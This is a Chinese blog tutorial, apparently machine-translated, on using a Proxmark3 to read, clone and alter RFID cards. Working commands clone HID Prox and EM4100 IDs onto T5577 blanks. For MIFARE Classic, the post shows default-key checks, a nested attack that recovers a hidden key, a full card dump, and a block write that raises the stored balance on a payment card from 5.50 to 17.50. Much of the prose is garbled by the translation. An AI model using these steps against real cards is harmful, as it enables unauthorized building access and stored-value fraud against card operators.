伴随着智能产品NFC作用的兴起,用RFID卡现金支付的方式也更加的时兴。现今非接触卡片(包含但是不限于社会保障卡、食堂饭卡、公共交通卡、门卡等)全是所使用的RFID技术性。
这么看来无线通信技术(RFID)是一个运用非常广泛技术性,智能卡一般会被制成小钥匙环、卡片及其纸贴的模样。我会在许多不同类型的设备系统里看到它发生的身影,并且通常都是与提款及其智能门禁系统相关。你对无线通信技术十分有兴趣,尤其是对无线通信技术系统软件有兴趣,因此在我科学研究HID iClass系统时,我便安利了一个proxmark3。
proxmark3
Proxmark3是通过Jonathan Westhues设计研发的开源硬件,其适用范围是促进RFID的网络嗅探、载入及其复制这些实际操作。Proxmark3主要用于RFID而开发设计的一种手段,尽管也有一些其他的专用工具,但Proxmark3归属于流行专用工具。它能够网络嗅探、仿真模拟及其载入各种不同种类型的RFID,并且它还有一个官方网小区,那里有许多一样的爱好者在房间里交流学习。
购买Proxmark
在Proxmark官网上已经列出了一些经销商,我会在里边选择一个经销商开展购买。我购买了Proxmark RDV2,它虽然不是开源系统版本,反而是在原始版本的改良版。值得关注的是,我购买的版本更精巧,与此同时能用充电电池对系统供电系统,适用MMCX,并非USB接口。
当然也可以在不同网址购买机器设备,那你去海外网站Rysc Corp上购买,或就近原则香港购买,但是需要248美金,假如Rysc Corp上购买就需要299美金(没有运输费)。而事实上我还在购买Proxmark RDV2大部分也那就需要212.00美金,国外运输成本为36.30美金(随运输间距不一样花费还会越大),总计为248.30美金。
假如你细心促进会发觉,根据AliExpress网站购买,可以省下一大笔钱,花费在190美金(免邮),就性价比高而言,可能比“Proxmark 3 Easy”比较便宜。
PM3 Easy是Proxmark系列中相对比较价格便宜的版本,市场价大约为100美金,但是却阉割了一些作用,这一版本仅针对国内市场版本,因而删掉了一些作用,删除功能的如下所示:
AT91SAM7S256(运行内存256kb)
清除锂离子电池管理与电源插座控制模块
阉割了一些电子元件,如电磁阀和信号增强器
可以使用不同类型的无线天线联网控制
想要了解更多相关知识能够浏览Proxmark官方网
总体来说,Proxmark 3原始的版本设计方案早已落伍,你就应该应用新版本的硬件开发。
Proxmark 3配备
在硬件配置领域,根据自己实际应用Proxmark 3(下称PM3)型号不一样,配备方法也有所不同。初始版本PM3外置USB无线天线,你可以任意插下,但RDV2就不可以这样的操作,最先你必须联接MMCX,之后才能应用RDV2,就等于是你必须将这一块添加行为主体,将要无线天线控制模块组装进电脑主板中。我并没有这么做,反而是用胶将MMCX及其无线天线粘黏到木板上。
进行上一部分实际操作以后,你还可以依照PM3说明文档开展配备固定件,据我了解得知,Proxmarks很它应用同样的固定件,所以在软件配置及策略上也不会有很大差别。
我下边配置并没涉及到完备的软件配置,我做到的也只是表明中的一部分。在很多情况下,出自于功能上考虑,PM3会把USB接口转化成串行通信,一起使用串行通信能解决在vm虚拟机中运作难题。
假如你准备在vm虚拟机来操作,那在Linux大会上运作要比Windows更好一些,这一点上我是不会作出过多表明,但我在后边文中应用PM3操作界面时,显著效果明显一些。我还在vm虚拟机中组装Windows 7,或可将GUI(Linux)做为PM3操作界面。总体来说,烧录PM3固定件可能是一个令人讨厌的全过程,但是你确实需要做那样一两次。
RFID技术性
在国外有很多比较常见的RFID认证技术,我下边例举在日常日常生活参照的四个:
HID iClass(13.56 MHz)
HID Prox 卡(125 kHz)
EM4100x卡(125 kHz)
MIFARE Classic(13.56 MHz)
我们将详细描述最终三部分,与此同时我在下文还会详细介绍如何读/写iClass卡。
对于一些不明白的RFID rfid标签及其RFID卡,我们将要试着复制/改动每一个标签的具体内容。最先我们应该搞清楚每一张卡片其背后的技术是什么。 一般来说,大家可以收集系列号,生产商信息和信息表格信息,再通过网上查询科学研究这种信息。PM3能够可以用命令 lf search、hf search查看,这俩指令将先后在低频率(125 kHz)和高频率(13.56 MHz)范围之内检索可以用rfid标签。
HID ProxCard
我们来看一下更有吸引力的HID ProxCard
在卡正脸有一些数据及其英语单词(HID Proximity),假如你来网上搜,你能发现这是一张HID Prox 卡,能通过Proxmark命令复制一张卡。
大家能使用lf search命令检索上文所提到的rfid标签
proxmark3> lf search
#db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary
if it finds something that looks like a tagFalse Positives ARE possible
Checking for known tags:
HID Prox TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 Valid HID Prox ID Found!
大家比较清楚这也是一张Prox 卡,必要时将现阶段卡系统软件从 HID Prox 升级成 HID iCLASS 凭据,那就需要独特命令,现在我们已知道标识ID(2004263f88),但是我能够输入lf hid fskdemod命令载入智能卡(按住PM3里的按键终止扫描仪)
proxmark3> lf hid fskdemod
#db# TAG ID: 2004263f88 (8132) - Format Len: 26bit - FC: 19 - Card: 8132 #db# Stopped
该ID标识(19)及其卡ID(8132)的编号,你能在线应用韦根协议书(26位)计算方式检查一下。这也就意味着你必须掌握数据信息并复制到卡上(载入到卡自身)。
大部分低频率rfid标签没有繁杂的验证计划方案或其他避免中间人攻击保护的,因此扫描仪已有的智能卡,并复制一张,并不是一件难题。应用大功率读写器,能够在离很远位置盗取RFIDrfid标签。
我现在已经了解标识ID,现在需要一张空白的RFID卡,我们能复制标识ID。最好是是t5577卡,它能够拷贝多种多样低频率智能卡,包含这儿探讨的两大(HID Prox 卡,EM41000卡)。
我已了解到了标识ID,那就可以轻轻松松的复制一张卡
proxmark3> lf hid clone 2004263f88
Cloning tag with ID 2004263f88
#db# DONE!
如今T5577卡rfid标签应当和被复制卡标识一致,通过了!!
除开读写操作以外,PM3还可以仿真模拟RFIDrfid标签,但是可能没你想象中的那么形象化,你必须将电子计算机传送到PM3上,并实施一些命令,这会对网站渗透测试者也有帮助,但读写操作适用绝大部分使用人。
EM4100
EM4100卡不像HID Prox 卡那般普遍,但并不是说它不会有,PM3作用也适用于它。
我们继续使用lf检索指令
proxmark3> lf search
#db# DownloadFPGA(len: 42096)Reading 30000 bytes from device memory
Data fetched
Samples @ 8 bits/smpl, decimation 1:1 NOTE: some demods output possible binary
if it finds something that looks like a tagFalse Positives ARE possible
Checking for known tags:
EM410x pattern found:
EM TAG ID : 8800180E55 Unique TAG ID : 11001870AA
Possible de-scramble patterns
HoneyWell IdentKey {
DEZ 8 : 01576533 DEZ 10 : 0001576533 DEZ 5.5 : 00024.03669 DEZ 3.5A : 136.03669 DEZ 3.5B : 000.03669 DEZ 3.5C : 024.03669 DEZ 14/IK2 : 00584117128789 DEZ 15/IK3 : 000073016045738 DEZ 20/ZK : 01010000010807001010 }
Other : 03669_024_01576533
Pattern Paxton : 2284604501 [0x882C4C55]
Pattern 1 : 4457436 [0x4403DC]
Pattern Sebury : 3669 24 1576533 [0xE55 0x18 0x180E55]
Valid EM410x ID Found!
这是一张EM4100卡,我可以应用更多EM4100 RFID指令,读取标签ID
proxmark3> lf em4x em410xdemod 1#db# DownloadFPGA(len: 42096)#db# EM TAG ID: 8800180e55 - (03669_024_01576533)
获得标签ID以后,载入到一张T5577卡上
proxmark3> lf em4x em410xwrite 8800180e55 1 Writing T55x7 tag with UID 0x8800180e55 (clock rate: 64)#db# Started writing T55x7 tag ...#db# Clock rate: 64#db# Tag T55x7 written with 0xffc62000e20ea94e
大部分低频率RFID电子器件标签破译适用刚入门的小白,你仅需要了讲解/写/复制/模拟仿真游戏的玩法。
下面,我们将要看一下一张更加复杂但是最终被破译的感应卡,MIFARE Classic协议的NFC卡(下称MIFARE卡)。
MIFARE Classic
NFCA协议书是适配MifareClassic 协议的, 我们通过NfcA在android的有关类去处理给与MifareClassic 的RFID卡。MIFARE 卡运用非常广泛,它运用的行业也大不一样,如交通卡、干洗店洗衣卡、身份证件,很不幸的一点就是,这种卡就会被破译。
一般来说,给与MifareClassic的感应卡,一般内存空间有3种:
1K: 16个区域(sector),每一个系统分区4个块(block),每一个块(block) 16个byte数据
2K: 32个系统分区,每一个系统分区4个块(block),每一个块(block) 16个byte数据
4K:64个系统分区,每一个系统分区4个块(block),每一个块(block) 16个byte数据
对于每一个根据MifareClassic的卡而言,每一个区最后一个块叫Trailer,16个byte, 关键来储放读写能力该区域的key,能够有A,B2个KEY,每一个key长6byte,默认设置的key一般是FF 或 0,最后一个块内存结构如下所示:
Block 0 Data 16bytes
Block 1 Data 16 bytes
Block 2 Data 16 bytes
Block 3 Trailer 16 bytes
Trailer:
Key A: 6 bytes
Access Conditions: 4 bytes
Key B: 6 bytes
因此在写卡的运行内存时,一般不能写每一个sector的最终一个block,除非你有要改动KEY和访问限制的需要。假如KEY A 被你一不小心改动没了,而你永远不知道改动成什么,那与此相对应的那一个sector你就没办法浏览了。毕竟在MifareClassic中,如果你想要读取数据信息,那样必须有这个数字详细地址所属的sector的管理权限,这一管理权限就是这样的sector的trailer的keyA或KEY B。下边我们将要应用高频率无线天线来读取高频率MIFARE卡。
我广泛使用hf指令检索并鉴别MIFARE卡
proxmark3> hf search
#db# DownloadFPGA(len: 42096)
UID : bc 4e a5 35ATQA : 00 04
SAK : 08 [2]
TYPE : NXP MIFARE CLASSIC 1k | Plus 2k SL1
proprietary non iso14443-4 card found, RATS not supported
Answers to chinese magic backdoor commands: NO Valid ISO14443A Tag Found - Quitting Search
遗憾的是,MIFARE卡不像之前的低频率卡复制那般非常容易,它运用简单认证方式,阻拦大家复制UID。尽管我们要从卡上读取一些块,但由于“验证不正确”,其他块并不能用:
取得成功读取
proxmark3> hf mf rdbl 0 A FFFFFFFFFFFF --block no:0, key type:A, key:ff ff ff ff ff ff #db# READ BLOCK FINISHED isOk:01 data:01 02 03 04 04 08 04 00 00 00 00 00 00 00 00 00
不成功读取
proxmark3> hf mf rdbl 5 A FFFFFFFFFFFF --block no:5, key type:A, key:ff ff ff ff ff ff #db# Authentication failed. Card timeout.
#db# Auth error #db# READ BLOCK FINISHED isOk:00
最初发觉这种情况,我觉得很奇怪,但随后发觉上文提及的key,这是我在网上查到的材料。MIFARE Classic 1K感应卡有1024字节数可储存数据信息,与此同时分成分为16个磁道,每一个磁道由不同的key维护(上文说明的A,B),出自于种种原因,一些MIFARE卡仅应用默认设置key,这个就导致可以借助应用软件检测key,并对卡进行测试。
PM3具备“检测key(块)”指令,这将检测他们的默认设置key。
proxmark3> hf mf chk * ?
No key specified, trying default keys chk default key[ 0] ffffffffffff chk default key[ 1] 000000000000
chk default key[ 2] a0a1a2a3a4a5 chk default key[ 3] b0b1b2b3b4b5 chk default key[ 4] aabbccddeeff chk default key[ 5] 4d3a99c351dd chk default key[ 6] 1a982c7e459a chk default key[ 7] d3f7d3f7d3f7 chk default key[ 8] 714c5c886e97 chk default key[ 9] 587ee5f9350f chk default key[10] a0478cc39091 chk default key[11] 533cb6c723f6 chk default key[12] 8fd0a4f256e9 --sector: 0, block: 3, key type:A, key count:13Found valid key:[ffffffffffff] ...omitted for brevity...--sector:15, block: 63, key type:B, key count:13Found valid key:[ffffffffffff]
我可以应用默认设置key(ffffffffffff)读取大部分块,但是有些并没有包括以内。我可以应用“Nested进攻”,大家可以用他们的一个可以用的key来鉴别其他块的key。
proxmark3> hf mf nested 1 0 A ffffffffffff d
Testing known keys. Sector count=16
nested...
-----------------------------------------------uid:bc4ea535 trgbl=4 trgkey=0
Found valid key:080808080808
-----------------------------------------------uid:bc4ea535 trgbl=8 trgkey=0
Found valid key:080808080808
Time in nested: 7.832 (3.916 sec per key)
-----------------------------------------------Iterations count: 2
|---|----------------|---|----------------|---|
|sec|key A |res|key B |res|
|---|----------------|---|----------------|---|
|000| ffffffffffff | 1 | ffffffffffff | 1 |
|001| 080808080808 | 1 | ffffffffffff | 1 |
|002| 080808080808 | 1 | ffffffffffff | 1 |
|003| ffffffffffff | 1 | ffffffffffff | 1 |
|004| ffffffffffff | 1 | ffffffffffff | 1 |
|005| ffffffffffff | 1 | ffffffffffff | 1 |
|006| ffffffffffff | 1 | ffffffffffff | 1 |
|007| ffffffffffff | 1 | ffffffffffff | 1 |
|008| ffffffffffff | 1 | ffffffffffff | 1 |
|009| ffffffffffff | 1 | ffffffffffff | 1 |
|010| ffffffffffff | 1 | ffffffffffff | 1 |
|011| ffffffffffff | 1 | ffffffffffff | 1 |
|012| ffffffffffff | 1 | ffffffffffff | 1 |
|013| ffffffffffff | 1 | ffffffffffff | 1 |
|014| ffffffffffff | 1 | ffffffffffff | 1 |
|015| ffffffffffff | 1 | ffffffffffff | 1 |
|---|----------------|---|----------------|---|
Printing keys to binary file dumpkeys.bin...
留意:在初期Nested 攻击指令中,输入d(主要参数)将key转储到dumpkeys.bin文件,才可以保证正常使用 MIFARE卡其他指令。我们现在有一个新key,080808080808。该key容许大家读取掩藏块。
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED isOk:01 data:00 0a 00 00 ff f5 ff ff 00 0a 00 00 05 fa 05 fa
dumpkeys.bin文件早已备好,我们能转储全部卡的信息,并把它载入到空白的MIFARE卡上。
proxmark3> hf mf dump 1 |-----------------------------------------|
|------ Reading sector access bits...-----|
|-----------------------------------------|#db# READ BLOCK FINISHED...omitted for brevity...#db# READ BLOCK FINISHED|-----------------------------------------|
|----- Dumping all blocks to file... -----|
|-----------------------------------------|#db# READ BLOCK FINISHEDSuccessfully read block 0 of sector 0.
...omitted for brevity...
Successfully read block 3 of sector 15.
Dumped 64 blocks (1024 bytes) to file dumpdata.bin
依靠dumpdata.bin文件,大家能将该卡内容复原到另一张卡上,输入指令:hf mf restore 1,但是,复制一张MIFARE卡高效率还很低(totem pole),应用新key,我就可以读写能力一张空白卡,这类卡一般被认为是火车票卡,一些人很有可能都会想到能否改动里边的额度。来看一下卡上一部分拷贝到数据信息
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000 4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
获得的信息不可以分析,再度反复之上流程,随后查询数据
bc4e a535 6288 0400 8500 b42e f0bb 6aa8
0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 0000 ffff ffff ffff ff07 8069 ffff ffff ffff
4f54 4f54 0050 0082 0136 000b 0000 0000 3205 0000 cdfa ffff 3205 0000 05fa 05fa
0000 0000 0101 0000 0000 0001 0100 0000
在其中一行数据由
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
变成
3205 0000 cdfa ffff 3205 0000 05fa 05fa
那时候并没有马上看明白这方面数据信息含意,但是已经明白卡上一定存有一个可以变动的标值,简单的一个假定是,卡已经储存额度,随后扣去成交额。大家的起点使用价值(7.75),一个项目的支出成本费用(2.25)和误差(5.50)。
大家能将这些信息变为16进制,为了能简单化检索,我们只需要75,把它转换成十六进制(0x4b),随后检索第一个转储数据值:
4b07 0000 b4f8 ffff 4b07 0000 05fa 05fa
那样我就发现了卡储存额度的那一部分了,尤其是充分考虑下列字节数0×07。因而,我们要可以通过改动这种字节数来提高大家卡额度。
你能不需要理解字节数的具体含意,他们并不能重复,在前2次转储数据信息,能够得知并没有什么规律,这一点上必须谨小慎微,用ffff(上文)更换他们的额度标值,仅需重新将获得的信息载入感应卡中。
留意:有些人强调在其中2个标值b4f8和4b07加在一起是ffff,这其实是校验和的标值,读取的人可以抓住这个来确认卡额度是不是在交易成功后升级。
我已将卡上标值变更到17.50,大家可以采用一个新的转储数据信息并储存第5块结论(储存值)。
Block 0: bc4e a535 6288 0400 8500 b42e f0bb 6aa8
Block 1: 0000 0000 0000 0000 0000 0000 0000 0000 Block 2: 0000 0000 0000 0000 0000 0000 0000 0000 Block 3: ffff ffff ffff ff07 8069 ffff ffff ffff
Block 4: 4f54 4f54 0050 0082 0136 000b 0000 0000 Block 5: 3211 0000 cdee ffff 3211 0000 05fa 05fa
Block 6: 0000 0000 0101 0000 0000 0001 0100 0000
我们现在能够不受限制将卡上标值变更到17.50。
载入(块)
proxmark3> hf mf wrbl 5 A 080808080808 32110000cdeeffff3211000005fa05fa --block no:5, key type:A, key:08 08 08 08 08 08
--data: 32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa #db# WRITE BLOCK FINISHED isOk:01
读取(块)
proxmark3> hf mf rdbl 5 A 080808080808
--block no:5, key type:A, key:08 08 08 08 08 08
#db# READ BLOCK FINISHED isOk:01 data:32 11 00 00 cd ee ff ff 32 11 00 00 05 fa 05 fa
即便没有应用默认设置key,我们可以网络嗅探真实读写器和卡间的通讯协议,并获得重要key。只需我们都知道一个目前的key,我们就能运用上文提及的nested攻击鉴别其他key来获得对此卡的读/写访问。
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。